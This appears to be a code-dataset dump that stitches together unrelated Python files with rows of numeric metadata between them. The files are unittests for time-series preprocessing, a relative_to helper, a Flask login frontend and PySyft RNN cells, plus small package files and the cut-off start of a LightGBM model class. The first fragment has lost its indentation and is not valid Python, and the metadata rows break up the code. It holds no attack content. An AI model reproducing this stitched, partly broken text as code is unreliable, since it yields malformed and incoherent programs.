utils.pd.read_csv = Mock(return_value=get_df())
data.Data2d.scale = Mock()
data.Data2d.decompose = Mock(side_effect=lambda x: x)
data.Data2d.revert = Mock(side_effect=lambda x: x)
def test_Yref(self):
c = get_preproc_config(lags=3, horizon=1)
d = prepare_data(c)
self.assertEqual(d.trainY[c['horizon']-1], d.trainYref[0])
self.assertEqual(d.valY[c['horizon']-1], d.valYref[0])
self.assertEqual(d.testY[c['horizon']-1], d.testYref[0])
def test_get_data__no_exog(self):
c = get_preproc_config(lags=3)
d = prepare_data(c)
self.assertEqual(d.trainX.shape, (21, 3))
self.assertEqual(d.valX.shape, (5, 3))
self.assertEqual(d.testX.shape, (5, 3))
self.assertEqual(d.trainX[0].tolist(), [12, 22, 32])
self.assertEqual(d.trainY[0], 42)
self.assertEqual(d.valX[0].tolist(), [252, 262, 272])
self.assertEqual(d.valY[0], 282)
self.assertEqual(d.testX[0].tolist(), [332, 342, 352])
self.assertEqual(d.testY[0], 362)
def test_get_data_with_exog__all_exog_lags(self):
c = get_preproc_config(lags=3, use_exog=True)
d = prepare_data(c)
self.assertEqual(d.trainX.shape, (21, 9))
self.assertEqual(d.valX.shape, (5, 9))
self.assertEqual(d.testX.shape, (5, 9))
self.assertEqual(d.trainX[0].tolist(), [12, 22, 32, 10, 11, 20, 21, 30, 31])
self.assertEqual(d.trainY[0], 42)
self.assertEqual(d.valX[0].tolist(), [252, 262, 272, 250, 251, 260, 261, 270, 271])
self.assertEqual(d.valY[0], 282)
self.assertEqual(d.testX[0].tolist(), [332, 342, 352, 330, 331, 340, 341, 350, 351])
self.assertEqual(d.testY[0], 362)
@skip("Not using intent distances for 2d")
def test_get_data_with_exog__intent0(self):
c = get_preproc_config(lags=3, use_exog=True)
d = prepare_data(c)
self.assertEqual(d.trainX.shape, (21, 5))
self.assertEqual(d.valX.shape, (5, 5))
self.assertEqual(d.testX.shape, (5, 5))
self.assertEqual(d.trainX[0].tolist(), [12, 22, 32, 40, 41])
self.assertEqual(d.trainY[0], 42)
self.assertEqual(d.valX[0].tolist(), [252, 262, 272, 280, 281])
self.assertEqual(d.valY[0], 282)
self.assertEqual(d.testX[0].tolist(), [332, 342, 352, 360, 361])
self.assertEqual(d.testY[0], 362)
@skip("Not using intent distances for 2d")
def test_get_data_with_exog__intent2(self):
c = get_preproc_config(lags=3, use_exog=True, intent_distance=2)
d = prepare_data(c)
# 12, 22, 32 are endogs, 2 and 21 are exogs at distance=2
self.assertEqual(d.trainX[0].tolist(), [12, 22, 32, 20, 21])
self.assertEqual(d.trainY[0], 42)
self.assertEqual(d.valX[0].tolist(), [252, 262, 272, 260, 261])
self.assertEqual(d.valY[0], 282)
self.assertEqual(d.testX[0].tolist(), [332, 342, 352, 340, 341])
self.assertEqual(d.testY[0], 362)
| 40.785311
| 92
| 0.591633
| 1,036
| 7,219
| 4.011583
| 0.129344
| 0.249038
| 0.26564
| 0.063523
| 0.840712
| 0.808951
| 0.751444
| 0.736766
| 0.656641
| 0.630173
| 0
| 0.101807
| 0.248926
| 7,219
| 176
| 93
| 41.017045
| 0.664699
| 0.010943
| 0
| 0.588235
| 0
| 0
| 0.0213
| 0
| 0
| 0
| 0
| 0
| 0.45098
| 1
| 0.084967
| false
| 0
| 0.098039
| 0
| 0.202614
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
265ae7eb04900aa72126a6ac21dc9d6681b93344
| 223
|
py
|
Python
|
whatsapp/__init__.py
|
SilasPDJ/autoesk
|
df0a7457de4795a76887f682f0515431c903ee86
|
[
"MIT"
] | null | null | null |
whatsapp/__init__.py
|
SilasPDJ/autoesk
|
df0a7457de4795a76887f682f0515431c903ee86
|
[
"MIT"
] | 1
|
2020-09-24T20:29:05.000Z
|
2021-12-24T05:00:52.000Z
|
whatsapp/__init__.py
|
SilasPDJ/autoesk
|
df0a7457de4795a76887f682f0515431c903ee86
|
[
"MIT"
] | null | null | null |
from whatsapp.init_wp import MainWP
from whatsapp.pgdas_special_wp_sender import PgdasWP
from whatsapp.mamae_download import DownloadRotinaMamae
from whatsapp.pgdas_special_wp_cobranca import PgdasCobrancaWP
#CobraPgdasWP
| 31.857143
| 62
| 0.896861
| 29
| 223
| 6.62069
| 0.551724
| 0.25
| 0.177083
| 0.25
| 0.270833
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.080717
| 223
| 7
| 63
| 31.857143
| 0.936585
| 0.053812
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
cd8ae20aa1c7a885490f801a3cc1dbe4635d9c02
| 56
|
py
|
Python
|
my_module.py
|
sichkar-valentyn/Modules_in_Python
|
b2e92af5266ab89d36ace4c042f20621031ab643
|
[
"MIT"
] | 1
|
2021-05-13T20:29:38.000Z
|
2021-05-13T20:29:38.000Z
|
my_module.py
|
sichkar-valentyn/Modules_in_Python
|
b2e92af5266ab89d36ace4c042f20621031ab643
|
[
"MIT"
] | null | null | null |
my_module.py
|
sichkar-valentyn/Modules_in_Python
|
b2e92af5266ab89d36ace4c042f20621031ab643
|
[
"MIT"
] | null | null | null |
def foo():
print('Module was succesfully imported')
| 18.666667
| 44
| 0.696429
| 7
| 56
| 5.571429
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.178571
| 56
| 2
| 45
| 28
| 0.847826
| 0
| 0
| 0
| 0
| 0
| 0.553571
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0.5
| 0
| 1
| 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 1
|
0
| 7
|
cd91fcd49c6d146f311810fa142af2aa67e69d9f
| 172
|
py
|
Python
|
model_lib/tests/test_helpers.py
|
modzy/grpc-tensorflow-object-detection
|
e81b2ae60c46f48cad204934868849e97e0d4a63
|
[
"Apache-2.0"
] | null | null | null |
model_lib/tests/test_helpers.py
|
modzy/grpc-tensorflow-object-detection
|
e81b2ae60c46f48cad204934868849e97e0d4a63
|
[
"Apache-2.0"
] | null | null | null |
model_lib/tests/test_helpers.py
|
modzy/grpc-tensorflow-object-detection
|
e81b2ae60c46f48cad204934868849e97e0d4a63
|
[
"Apache-2.0"
] | null | null | null |
from model_lib.src.helpers import friendly_personalized_greeting
def test_friendly_personalized_greeting_runs() -> None:
friendly_personalized_greeting(b"Something")
| 28.666667
| 64
| 0.848837
| 21
| 172
| 6.52381
| 0.714286
| 0.437956
| 0.613139
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.087209
| 172
| 5
| 65
| 34.4
| 0.872611
| 0
| 0
| 0
| 0
| 0
| 0.052326
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
f831bb22f376a05d922ef67633a578095425599c
| 2,592
|
py
|
Python
|
tests/selecting/test_relative_to.py
|
sixty-north/les_iterables
|
755cdde4dd9e3d56ce2f424ff0619bde7064e897
|
[
"MIT"
] | 2
|
2020-07-04T22:21:10.000Z
|
2021-12-10T14:38:18.000Z
|
tests/selecting/test_relative_to.py
|
sixty-north/les_iterables
|
755cdde4dd9e3d56ce2f424ff0619bde7064e897
|
[
"MIT"
] | 1
|
2020-05-26T12:01:50.000Z
|
2020-05-26T12:01:50.000Z
|
tests/selecting/test_relative_to.py
|
sixty-north/les_iterables
|
755cdde4dd9e3d56ce2f424ff0619bde7064e897
|
[
"MIT"
] | null | null | null |
from _pytest.python_api import raises
from les_iterables.selecting import relative_to
def test_relative_to_missing_item_raises_value_error():
with raises(ValueError):
relative_to([4, 6, 9], 12, offset=1)
def test_relative_by_negative_zero():
assert relative_to([4, 6, 9], 6, offset=0) == 6
def test_relative_by_negative_one():
assert relative_to([4, 6, 9], 6, offset=-1) == 4
def test_relative_by_positive_one():
assert relative_to([4, 6, 9], 6, offset=+1) == 9
def test_relative_by_negative_two():
assert relative_to([2, 4, 6, 9, 7], 9, offset=-2) == 4
def test_relative_by_positive_two():
assert relative_to([2, 4, 6, 9, 7], 4, offset=+2) == 9
def test_relative_by_negative_two_out_of_range_raises_value_error():
with raises(ValueError):
relative_to([2, 4, 6, 9, 7], 4, offset=-2)
def test_relative_by_positive_two_out_of_range_raises_value_error():
with raises(ValueError):
relative_to([2, 4, 6, 9, 7], 9, offset=+2)
def test_relative_by_positive_two_to_oneth_occurrence():
assert relative_to([2, 4, 5, 4, 6, 8, 10], 4, offset=2, n=1) == 8
def test_relative_by_negative_three_to_oneth_occurrence():
assert relative_to([2, 4, 5, 4, 6, 8, 10], 4, offset=-3, n=1) == 2
def test_relative_to_missing_item_return_default():
assert relative_to([4, 6, 9], 12, offset=1, default=38) == 38
def test_relative_by_negative_zero_with_default():
assert relative_to([4, 6, 9], 6, offset=0, default=9) == 6
def test_relative_by_negative_one_with_default():
assert relative_to([4, 6, 9], 6, offset=-1, default=14) == 4
def test_relative_by_positive_one_with_default():
assert relative_to([4, 6, 9], 6, offset=+1, default=5) == 9
def test_relative_by_negative_two_with_default():
assert relative_to([2, 4, 6, 9, 7], 9, offset=-2, default=16) == 4
def test_relative_by_positive_two_with_default():
assert relative_to([2, 4, 6, 9, 7], 4, offset=+2, default=12) == 9
def test_relative_by_negative_two_out_of_range_raises_value_error_with_default():
assert relative_to([2, 4, 6, 9, 7], 4, offset=-2, default=97) == 97
def test_relative_by_positive_two_out_of_range_raises_value_error_with_default():
assert relative_to([2, 4, 6, 9, 7], 9, offset=+2, default=67) == 67
def test_relative_by_positive_two_to_oneth_occurrence_with_default():
assert relative_to([2, 4, 5, 4, 6, 8, 10], 4, offset=2, n=1, default=12) == 8
def test_relative_by_negative_three_to_oneth_occurrence_with_default():
assert relative_to([2, 4, 5, 4, 6, 8, 10], 4, offset=-3, n=1, default=37) == 2
| 29.793103
| 82
| 0.708719
| 455
| 2,592
| 3.679121
| 0.118681
| 0.137395
| 0.179211
| 0.182796
| 0.921147
| 0.921147
| 0.853047
| 0.721027
| 0.673238
| 0.619474
| 0
| 0.081967
| 0.152778
| 2,592
| 86
| 83
| 30.139535
| 0.680328
| 0
| 0
| 0.066667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.377778
| 1
| 0.444444
| true
| 0
| 0.044444
| 0
| 0.488889
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f89886c0a273fb715161534cd5e4237678954826
| 8,293
|
py
|
Python
|
tinyauth/tests/test_frontend.py
|
Jc2k/microauth
|
ff7c9a1aa493fe50f7f59f618f3317910551b99d
|
[
"Apache-2.0"
] | 2
|
2018-06-07T18:39:37.000Z
|
2020-05-16T11:08:29.000Z
|
tinyauth/tests/test_frontend.py
|
Jc2k/microauth
|
ff7c9a1aa493fe50f7f59f618f3317910551b99d
|
[
"Apache-2.0"
] | 2
|
2017-11-19T16:52:01.000Z
|
2018-08-11T10:49:08.000Z
|
tinyauth/tests/test_frontend.py
|
Jc2k/microauth
|
ff7c9a1aa493fe50f7f59f618f3317910551b99d
|
[
"Apache-2.0"
] | 1
|
2018-05-26T06:03:04.000Z
|
2018-05-26T06:03:04.000Z
|
import json
import os
from unittest import mock
from flask import send_from_directory
from . import base
class TestInvalidToken(base.TestCase):
def setUp(self):
super().setUp()
self.client.set_cookie('localhost', 'tinysess', 'INVALID-TOKEN')
def test_login_static(self):
def send_from_test(directory, filename, **options):
return send_from_directory(
os.path.dirname(__file__),
filename,
**options,
)
self.patch('tinyauth.frontend.send_from_directory', new=send_from_test)
response = self.client.get('/login/static/test_frontend.py')
assert response.status_code == 200
def test_static_404(self):
response = self.client.get('/static/404.js')
assert response.status_code == 404
def test_static_200(self):
def send_from_test(directory, filename, **options):
return send_from_directory(
os.path.dirname(__file__),
filename,
**options,
)
self.patch('tinyauth.frontend.send_from_directory', new=send_from_test)
response = self.client.get('/static/test_frontend.py')
assert response.status_code == 404
def test_index(self):
response = self.client.get('/')
assert response.status_code == 302
assert response.headers['Location'] == 'http://localhost/login'
def test_login_DEBUG(self):
self.app.config['DEBUG'] = True
response = self.client.get('/login')
assert response.status_code == 200
assert response.headers['Content-Type'] == 'text/html; charset=utf-8'
body = response.get_data(as_text=True).strip()
assert '<script type="text/javascript" src="/login/static/js/bundle.js">' in body
assert body.endswith('</html>')
def test_login(self):
assets = json.dumps({
'main.js': 'static/js/bundle.c0ff33.js',
})
with mock.patch('tinyauth.frontend.open', mock.mock_open(read_data=assets)):
response = self.client.get('/login')
assert response.status_code == 200
assert response.headers['Content-Type'] == 'text/html; charset=utf-8'
body = response.get_data(as_text=True).strip()
assert '<script type="text/javascript" src="/login/static/js/bundle.c0ff33.js">' in body
assert body.endswith('</html>')
class TestLoggedInUI(base.TestCase):
def setUp(self):
super().setUp()
response = self.client.post(
'/login',
data=json.dumps({
'username': 'charles',
'password': 'mrfluffy',
}),
content_type='application/json',
)
assert response.status_code == 200
assert {} == json.loads(response.get_data(as_text=True))
def test_login_static(self):
def send_from_test(directory, filename, **options):
return send_from_directory(
os.path.dirname(__file__),
filename,
**options,
)
self.patch('tinyauth.frontend.send_from_directory', new=send_from_test)
response = self.client.get('/login/static/test_frontend.py')
assert response.status_code == 200
def test_static_404(self):
response = self.client.get('/static/404.js')
assert response.status_code == 404
def test_static_200(self):
def send_from_test(directory, filename, **options):
return send_from_directory(
os.path.dirname(__file__),
filename,
**options,
)
self.patch('tinyauth.frontend.send_from_directory', new=send_from_test)
response = self.client.get('/static/test_frontend.py')
assert response.status_code == 200
def test_index_DEBUG(self):
self.app.config['DEBUG'] = True
response = self.client.get('/')
assert response.status_code == 200
assert response.headers['Content-Type'] == 'text/html; charset=utf-8'
body = response.get_data(as_text=True).strip()
assert '<script type="text/javascript" src="/static/js/bundle.js">' in body
assert body.endswith('</html>')
def test_index(self):
assets = json.dumps({
'main.js': 'static/js/bundle.c0ff33.js',
'main.css': 'static/css/main.c0ff33.css',
})
with mock.patch('tinyauth.frontend.open', mock.mock_open(read_data=assets)):
response = self.client.get('/')
assert response.status_code == 200
assert response.headers['Content-Type'] == 'text/html; charset=utf-8'
body = response.get_data(as_text=True).strip()
assert '<script type="text/javascript" src="/static/js/bundle.c0ff33.js">' in body
assert '<link href="/static/css/main.c0ff33.css" rel="stylesheet">' in body
assert body.endswith('</html>')
def test_login(self):
response = self.client.get('/login')
assert response.status_code == 302
assert response.headers['Location'] == 'http://localhost/'
def test_logout(self):
assert len(self.client.cookie_jar._cookies['localhost.local']['/']) == 2
response = self.client.get('/logout')
assert response.status_code == 302
assert response.headers['Location'] == 'http://localhost/login'
assert len(self.client.cookie_jar._cookies['localhost.local']['/']) == 0
def test_use_api_with_token(self):
response = self.client.get(
'/api/v1/users',
headers={
'X-CSRF-Token': self.client.cookie_jar._cookies['localhost.local']['/']['tinycsrf'].value,
}
)
assert response.status_code == 200
assert json.loads(response.get_data(as_text=True)) == [{
'groups': [],
'id': 'charles',
'username': 'charles',
}, {
'groups': [],
'id': 'freddy',
'username': 'freddy',
}]
class TestLoggedOutUI(base.TestCase):
def test_login_static(self):
def send_from_test(directory, filename, **options):
return send_from_directory(
os.path.dirname(__file__),
filename,
**options,
)
self.patch('tinyauth.frontend.send_from_directory', new=send_from_test)
response = self.client.get('/login/static/test_frontend.py')
assert response.status_code == 200
def test_static_404(self):
response = self.client.get('/static/404.js')
assert response.status_code == 404
def test_static_200(self):
def send_from_test(directory, filename, **options):
return send_from_directory(
os.path.dirname(__file__),
filename,
**options,
)
self.patch('tinyauth.frontend.send_from_directory', new=send_from_test)
response = self.client.get('/static/test_frontend.py')
assert response.status_code == 404
def test_index(self):
response = self.client.get('/')
assert response.status_code == 302
assert response.headers['Location'] == 'http://localhost/login'
def test_login_DEBUG(self):
self.app.config['DEBUG'] = True
response = self.client.get('/login')
assert response.status_code == 200
assert response.headers['Content-Type'] == 'text/html; charset=utf-8'
body = response.get_data(as_text=True).strip()
assert '<script type="text/javascript" src="/login/static/js/bundle.js">' in body
assert body.endswith('</html>')
def test_login(self):
assets = json.dumps({
'main.js': 'static/js/bundle.c0ff33.js',
})
with mock.patch('tinyauth.frontend.open', mock.mock_open(read_data=assets)):
response = self.client.get('/login')
assert response.status_code == 200
assert response.headers['Content-Type'] == 'text/html; charset=utf-8'
body = response.get_data(as_text=True).strip()
assert '<script type="text/javascript" src="/login/static/js/bundle.c0ff33.js">' in body
assert body.endswith('</html>')
| 34.844538
| 106
| 0.600989
| 955
| 8,293
| 5.045026
| 0.11623
| 0.090079
| 0.078456
| 0.104608
| 0.89477
| 0.880448
| 0.880448
| 0.858032
| 0.853881
| 0.828144
| 0
| 0.020105
| 0.262269
| 8,293
| 237
| 107
| 34.991561
| 0.767408
| 0
| 0
| 0.752688
| 0
| 0.010753
| 0.208248
| 0.111781
| 0
| 0
| 0
| 0
| 0.258065
| 1
| 0.150538
| false
| 0.005376
| 0.026882
| 0.032258
| 0.225806
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
3e0465cf25e991ab8a1fd219d8aff3edc65bdb80
| 9,091
|
py
|
Python
|
test/torch/nn/test_rnn.py
|
stephenjfox/PySyft
|
a27deed0d07c199de039fafd323164640c9c8f6d
|
[
"Apache-2.0"
] | 2
|
2020-12-30T11:21:43.000Z
|
2021-12-04T16:25:53.000Z
|
test/torch/nn/test_rnn.py
|
stephenjfox/PySyft
|
a27deed0d07c199de039fafd323164640c9c8f6d
|
[
"Apache-2.0"
] | null | null | null |
test/torch/nn/test_rnn.py
|
stephenjfox/PySyft
|
a27deed0d07c199de039fafd323164640c9c8f6d
|
[
"Apache-2.0"
] | 1
|
2021-12-31T09:27:55.000Z
|
2021-12-31T09:27:55.000Z
|
import syft.frameworks.torch.nn as nn2
import torch
import pytest
def test_RNNCell():
"""
Test the RNNCell module to ensure that it produces the exact same
output as the primary torch implementation, in the same order.
"""
# Disable mkldnn to avoid rounding errors due to difference in implementation
mkldnn_enabled_init = torch._C._get_mkldnn_enabled()
torch._C._set_mkldnn_enabled(False)
batch_size = 5
input_size = 10
hidden_size = 50
test_input = torch.rand(batch_size, input_size)
test_hidden = torch.rand(batch_size, hidden_size)
# RNNCell implemented in pysyft
rnn_syft = nn2.RNNCell(input_size, hidden_size, True, "tanh")
# RNNCell implemented in original pytorch
rnn_torch = torch.nn.RNNCell(input_size, hidden_size, True, "tanh")
# Make sure the weights of both RNNCell are identical
rnn_syft.fc_xh.weight = rnn_torch.weight_ih
rnn_syft.fc_hh.weight = rnn_torch.weight_hh
rnn_syft.fc_xh.bias = rnn_torch.bias_ih
rnn_syft.fc_hh.bias = rnn_torch.bias_hh
output_syft = rnn_syft(test_input, test_hidden)
output_torch = rnn_torch(test_input, test_hidden)
# Reset mkldnn to the original state
torch._C._set_mkldnn_enabled(mkldnn_enabled_init)
assert torch.all(torch.lt(torch.abs(output_syft - output_torch), 1e-6))
def test_GRUCell():
"""
Test the GRUCell module to ensure that it produces the exact same
output as the primary torch implementation, in the same order.
"""
# Disable mkldnn to avoid rounding errors due to difference in implementation
mkldnn_enabled_init = torch._C._get_mkldnn_enabled()
torch._C._set_mkldnn_enabled(False)
batch_size = 5
input_size = 10
hidden_size = 50
test_input = torch.rand(batch_size, input_size)
test_hidden = torch.rand(batch_size, hidden_size)
# GRUCell implemented in pysyft
rnn_syft = nn2.GRUCell(input_size, hidden_size, True)
# GRUCell implemented in original pytorch
rnn_torch = torch.nn.GRUCell(input_size, hidden_size, True)
# Make sure the weights of both GRUCell are identical
rnn_syft.fc_xh.weight = rnn_torch.weight_ih
rnn_syft.fc_hh.weight = rnn_torch.weight_hh
rnn_syft.fc_xh.bias = rnn_torch.bias_ih
rnn_syft.fc_hh.bias = rnn_torch.bias_hh
output_syft = rnn_syft(test_input, test_hidden)
output_torch = rnn_torch(test_input, test_hidden)
# Reset mkldnn to the original state
torch._C._set_mkldnn_enabled(mkldnn_enabled_init)
assert torch.all(torch.lt(torch.abs(output_syft - output_torch), 1e-6))
def test_LSTMCell():
"""
Test the LSTMCell module to ensure that it produces the exact same
output as the primary torch implementation, in the same order.
"""
# Disable mkldnn to avoid rounding errors due to difference in implementation
mkldnn_enabled_init = torch._C._get_mkldnn_enabled()
torch._C._set_mkldnn_enabled(False)
batch_size = 5
input_size = 10
hidden_size = 50
test_input = torch.rand(batch_size, input_size)
test_hidden_state = torch.rand(batch_size, hidden_size)
test_cell_state = torch.rand(batch_size, hidden_size)
# LSTMCell implemented in pysyft
rnn_syft = nn2.LSTMCell(input_size, hidden_size, True)
# LSTMCell implemented in original pytorch
rnn_torch = torch.nn.LSTMCell(input_size, hidden_size, True)
# Make sure the weights of both LSTMCell are identical
rnn_syft.fc_xh.weight = rnn_torch.weight_ih
rnn_syft.fc_hh.weight = rnn_torch.weight_hh
rnn_syft.fc_xh.bias = rnn_torch.bias_ih
rnn_syft.fc_hh.bias = rnn_torch.bias_hh
hidden_syft, cell_syft = rnn_syft(test_input, (test_hidden_state, test_cell_state))
hidden_torch, cell_torch = rnn_torch(test_input, (test_hidden_state, test_cell_state))
# Reset mkldnn to the original state
torch._C._set_mkldnn_enabled(mkldnn_enabled_init)
# Assert the hidden_state and cell_state of both models are identical separately
assert torch.all(torch.lt(torch.abs(hidden_syft - hidden_torch), 1e-6))
assert torch.all(torch.lt(torch.abs(cell_syft - cell_torch), 1e-6))
def test_RNN():
"""
Test the RNN module to ensure that it produces the exact same
output as the primary torch implementation, in the same order.
"""
# Disable mkldnn to avoid rounding errors due to difference in implementation
mkldnn_enabled_init = torch._C._get_mkldnn_enabled()
torch._C._set_mkldnn_enabled(False)
batch_size = 5
input_size = 10
hidden_size = 50
num_layers = 1
seq_len = 8
test_input = torch.rand(seq_len, batch_size, input_size)
test_hidden_state = torch.rand(num_layers, batch_size, hidden_size)
# RNN implemented in pysyft
rnn_syft = nn2.RNN(input_size, hidden_size, num_layers)
# RNN implemented in original pytorch
rnn_torch = torch.nn.RNN(input_size, hidden_size, num_layers)
# Make sure the weights of both RNN are identical
rnn_syft.rnn_forward[0].fc_xh.weight = rnn_torch.weight_ih_l0
rnn_syft.rnn_forward[0].fc_xh.bias = rnn_torch.bias_ih_l0
rnn_syft.rnn_forward[0].fc_hh.weight = rnn_torch.weight_hh_l0
rnn_syft.rnn_forward[0].fc_hh.bias = rnn_torch.bias_hh_l0
output_syft, hidden_syft = rnn_syft(test_input, test_hidden_state)
output_torch, hidden_torch = rnn_torch(test_input, test_hidden_state)
# Reset mkldnn to the original state
torch._C._set_mkldnn_enabled(mkldnn_enabled_init)
# Assert the hidden_state and output of both models are identical separately
assert torch.all(torch.lt(torch.abs(output_syft - output_torch), 1e-6))
assert torch.all(torch.lt(torch.abs(hidden_syft - hidden_torch), 1e-6))
def test_GRU():
"""
Test the GRU module to ensure that it produces the exact same
output as the primary torch implementation, in the same order.
"""
# Disable mkldnn to avoid rounding errors due to difference in implementation
mkldnn_enabled_init = torch._C._get_mkldnn_enabled()
torch._C._set_mkldnn_enabled(False)
batch_size = 5
input_size = 10
hidden_size = 50
num_layers = 1
seq_len = 8
test_input = torch.rand(seq_len, batch_size, input_size)
test_hidden_state = torch.rand(num_layers, batch_size, hidden_size)
# GRU implemented in pysyft
rnn_syft = nn2.GRU(input_size, hidden_size, num_layers)
# GRU implemented in original pytorch
rnn_torch = torch.nn.GRU(input_size, hidden_size, num_layers)
# Make sure the weights of both GRU are identical
rnn_syft.rnn_forward[0].fc_xh.weight = rnn_torch.weight_ih_l0
rnn_syft.rnn_forward[0].fc_xh.bias = rnn_torch.bias_ih_l0
rnn_syft.rnn_forward[0].fc_hh.weight = rnn_torch.weight_hh_l0
rnn_syft.rnn_forward[0].fc_hh.bias = rnn_torch.bias_hh_l0
output_syft, hidden_syft = rnn_syft(test_input, test_hidden_state)
output_torch, hidden_torch = rnn_torch(test_input, test_hidden_state)
# Reset mkldnn to the original state
torch._C._set_mkldnn_enabled(mkldnn_enabled_init)
# Assert the hidden_state and output of both models are identical separately
assert torch.all(torch.lt(torch.abs(output_syft - output_torch), 1e-6))
assert torch.all(torch.lt(torch.abs(hidden_syft - hidden_torch), 1e-6))
def test_LSTM():
"""
Test the LSTM module to ensure that it produces the exact same
output as the primary torch implementation, in the same order.
"""
# Disable mkldnn to avoid rounding errors due to difference in implementation
mkldnn_enabled_init = torch._C._get_mkldnn_enabled()
torch._C._set_mkldnn_enabled(False)
batch_size = 5
input_size = 10
hidden_size = 50
num_layers = 1
seq_len = 8
test_input = torch.rand(seq_len, batch_size, input_size)
test_hidden_state = torch.rand(num_layers, batch_size, hidden_size)
test_cell_state = torch.rand(num_layers, batch_size, hidden_size)
# LSTM implemented in pysyft
rnn_syft = nn2.LSTM(input_size, hidden_size, num_layers)
# LSTM implemented in original pytorch
rnn_torch = torch.nn.LSTM(input_size, hidden_size, num_layers)
# Make sure the weights of both LSTM are identical
rnn_syft.rnn_forward[0].fc_xh.weight = rnn_torch.weight_ih_l0
rnn_syft.rnn_forward[0].fc_xh.bias = rnn_torch.bias_ih_l0
rnn_syft.rnn_forward[0].fc_hh.weight = rnn_torch.weight_hh_l0
rnn_syft.rnn_forward[0].fc_hh.bias = rnn_torch.bias_hh_l0
output_syft, (hidden_syft, cell_syft) = rnn_syft(
test_input, (test_hidden_state, test_cell_state)
)
output_torch, (hidden_torch, cell_torch) = rnn_torch(
test_input, (test_hidden_state, test_cell_state)
)
# Reset mkldnn to the original state
torch._C._set_mkldnn_enabled(mkldnn_enabled_init)
# Assert the hidden_state, cell_state and output of both models are identical separately
assert torch.all(torch.lt(torch.abs(output_syft - output_torch), 1e-6))
assert torch.all(torch.lt(torch.abs(hidden_syft - hidden_torch), 1e-6))
assert torch.all(torch.lt(torch.abs(cell_syft - cell_torch), 1e-6))
| 35.932806
| 92
| 0.740403
| 1,423
| 9,091
| 4.417428
| 0.063949
| 0.040089
| 0.044543
| 0.028635
| 0.955934
| 0.95307
| 0.909481
| 0.879096
| 0.838053
| 0.821349
| 0
| 0.011969
| 0.182048
| 9,091
| 252
| 93
| 36.075397
| 0.833378
| 0.269277
| 0
| 0.765625
| 0
| 0
| 0.001232
| 0
| 0
| 0
| 0
| 0
| 0.085938
| 1
| 0.046875
| false
| 0
| 0.023438
| 0
| 0.070313
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e45b631aec429debd31edff22134b8c610985e1e
| 15,209
|
py
|
Python
|
src/models/__init__.py
|
r-terada/home_credit_default_risk
|
e703b48e15d5068100f2c84d60b417d43be05572
|
[
"MIT"
] | null | null | null |
src/models/__init__.py
|
r-terada/home_credit_default_risk
|
e703b48e15d5068100f2c84d60b417d43be05572
|
[
"MIT"
] | null | null | null |
src/models/__init__.py
|
r-terada/home_credit_default_risk
|
e703b48e15d5068100f2c84d60b417d43be05572
|
[
"MIT"
] | null | null | null |
import os
import gc
import time
import json
import numpy as np
import pandas as pd
from datetime import datetime
from attrdict import AttrDict
from typing import List
from sklearn.metrics import roc_auc_score, roc_curve
from sklearn.model_selection import StratifiedKFold
from sklearn.linear_model import LogisticRegression
from sklearn.ensemble import RandomForestClassifier
from sklearn.neighbors import KNeighborsClassifier
from sklearn.preprocessing import StandardScaler
from lightgbm import LGBMClassifier
from xgboost import XGBClassifier
class Model:
def train_and_predict_kfold(self,
train: pd.DataFrame,
test: pd.DataFrame,
feats: List[str],
target: str,
conf: AttrDict
) -> float:
raise NotImplementedError
class LightGBM(Model):
# override
def train_and_predict_kfold(self,
train: pd.DataFrame,
test: pd.DataFrame,
feats: List[str],
target: str,
conf: AttrDict
) -> float:
# prepare
x_train = train[feats]
y_train = train[target]
x_test = test[feats]
sub_preds = np.zeros(x_test.shape[0])
